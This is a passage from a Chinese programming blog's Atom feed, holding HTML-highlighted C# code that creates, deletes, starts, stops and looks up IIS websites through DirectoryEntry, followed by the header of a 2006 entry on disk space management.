#0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;hostIP,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;portNum,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;descOfWebSite,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;commentOfWebSite,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;webPath)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="COLOR: #000000">!</SPAN><SPAN style="COLOR: #000000">&nbsp;EnsureNewSiteEnavaible(hostIP</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">portNum</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">descOfWebSite))<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">throw</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ArgumentNullException(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">已经有了这样的网站了。</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;Environment.NewLine&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;hostIP&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;portNum&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;descOfWebSite);<BR>}<BR><BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;entPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName);&nbsp;<BR>DirectoryEntry&nbsp;rootEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(entPath);</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">取得iis路径</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;newSiteNum&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetNewWebSiteID();&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">取得新网站ID</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">DirectoryEntry&nbsp;newSiteEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;rootEntry.Children.Add(newSiteNum,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebServer</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">增加站点</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">newSiteEntry.CommitChanges();</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">保存对区域的更改(这里对站点的更改)</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">newSiteEntry.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerBindings</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;hostIP&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;portNum&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;descOfWebSite;<BR>newSiteEntry.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerComment</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;commentOfWebSite;<BR>newSiteEntry.CommitChanges();<BR>DirectoryEntry&nbsp;vdEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;newSiteEntry.Children.Add(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">root</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebVirtualDir</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>vdEntry.CommitChanges();<BR>vdEntry.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Path</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;webPath;<BR>vdEntry.CommitChanges();<BR><BR>}<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;删除一个网站。根据网站名称删除。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="siteName"&gt;</SPAN><SPAN style="COLOR: #008000">网站名称</SPAN><SPAN style="COLOR: #808080">&lt;/param&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;DeleteWebSiteByName(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteName)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteNum&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetWebSiteNum(siteName);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteEntPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc/{1}</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName,&nbsp;siteNum);<BR>DirectoryEntry&nbsp;siteEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(siteEntPath);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;rootPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName);<BR>DirectoryEntry&nbsp;rootEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(rootPath);<BR>rootEntry.Children.Remove(siteEntry);<BR>rootEntry.CommitChanges();<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;Start和Stop网站的方法</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;StartWebSite(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteName)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteNum&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetWebSiteNum(siteName);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteEntPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc/{1}</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName,&nbsp;siteNum);<BR>DirectoryEntry&nbsp;siteEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(siteEntPath);<BR>siteEntry.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Start</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">object</SPAN><SPAN style="COLOR: #000000">[]&nbsp;{});<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;StopWebSite(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteName)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteNum&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetWebSiteNum(siteName);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteEntPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc/{1}</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName,&nbsp;siteNum);<BR>DirectoryEntry&nbsp;siteEntry&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(siteEntPath);<BR>siteEntry.Invoke(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Stop</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">object</SPAN><SPAN style="COLOR: #000000">[]&nbsp;{});<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;确认网站是否相同</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;确定一个新的网站与现有的网站没有相同的。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;这样防止将非法的数据存放到IIS里面去<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;param&nbsp;name="bindStr"&gt;</SPAN><SPAN style="COLOR: #008000">网站邦定信息</SPAN><SPAN style="COLOR: #808080">&lt;/param&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;returns&gt;</SPAN><SPAN style="COLOR: #008000">真为可以创建，假为不可以创建</SPAN><SPAN style="COLOR: #808080">&lt;/returns&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">bool</SPAN><SPAN style="COLOR: #000000">&nbsp;EnsureNewSiteEnavaible(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;bindStr)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;entPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName);<BR>DirectoryEntry&nbsp;ent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(entPath);<BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(DirectoryEntry&nbsp;child&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;ent.Children)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.SchemaClassName&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebServer</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerBindings</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value&nbsp;</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerBindings</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value.ToString()&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;bindStr)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">false</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR>}<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR><BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;获取一个网站编号</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">一个输入参数为站点描述</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;输入参数为&nbsp;站点的描述名&nbsp;默认是站点描述为&nbsp;"默认网站"<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;exception&nbsp;cref="NotFoundWebSiteException"&gt;</SPAN><SPAN style="COLOR: #008000">表示没有找到网站</SPAN><SPAN style="COLOR: #808080">&lt;/exception&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;GetWebSiteNum(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;siteName)<BR>{<BR>Regex&nbsp;regex&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;Regex(siteName);<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;tmpStr;<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;entPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName);<BR>DirectoryEntry&nbsp;ent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(entPath);<BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(DirectoryEntry&nbsp;child&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;ent.Children)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.SchemaClassName&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebServer</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerBindings</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value&nbsp;</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR>tmpStr&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;child.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerBindings</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value.ToString();<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(regex.Match(tmpStr).Success)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;child.Name;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerComment</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value&nbsp;</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">null</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR>tmpStr&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;child.Properties[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServerComment</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].Value.ToString();<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(regex.Match(tmpStr).Success)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;child.Name;<BR>}<BR>}<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">throw</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;Exception(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">没有找到我们想要的站点</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;siteName);<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #0000ff">#region</SPAN><SPAN style="COLOR: #000000">&nbsp;获取新网站id的方法</SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;获取网站系统里面可以使用的最小的ID。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;这是因为每个网站都需要有一个唯一的编号，而且这个编号越小越好。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;这里面的算法经过了测试是没有问题的。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;returns&gt;</SPAN><SPAN style="COLOR: #008000">最小的id</SPAN><SPAN style="COLOR: #808080">&lt;/returns&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;GetNewWebSiteID()<BR>{<BR>ArrayList&nbsp;list&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ArrayList();<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;tmpStr;<BR></SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;entPath&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;String.Format(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://{0}/w3svc</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,&nbsp;HostName);<BR>DirectoryEntry&nbsp;ent&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;GetDirectoryEntry(entPath);<BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(DirectoryEntry&nbsp;child&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;ent.Children)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(child.SchemaClassName&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIsWebServer</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">)<BR>{<BR>tmpStr&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;child.Name.ToString();<BR>list.Add(Convert.ToInt32(tmpStr));<BR>}<BR>}<BR>list.Sort();<BR></SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;i&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">1</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;j&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;list)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">(i&nbsp;</SPAN><SPAN style="COLOR: #000000">==</SPAN><SPAN style="COLOR: #000000">&nbsp;j)<BR>{<BR>i</SPAN><SPAN style="COLOR: #000000">++</SPAN><SPAN style="COLOR: #000000">;<BR>}<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;i.ToString();<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">#endregion</SPAN><SPAN style="COLOR: #000000"><BR>}<BR>}<BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=312" /> 
	  <id>http://www.openx.cn/default.asp?id=312</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C# 磁盘空间管理]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-28T16:50:09+08:00</updated>
	  <published>2006-06-28T16:50:09+08:00</published>
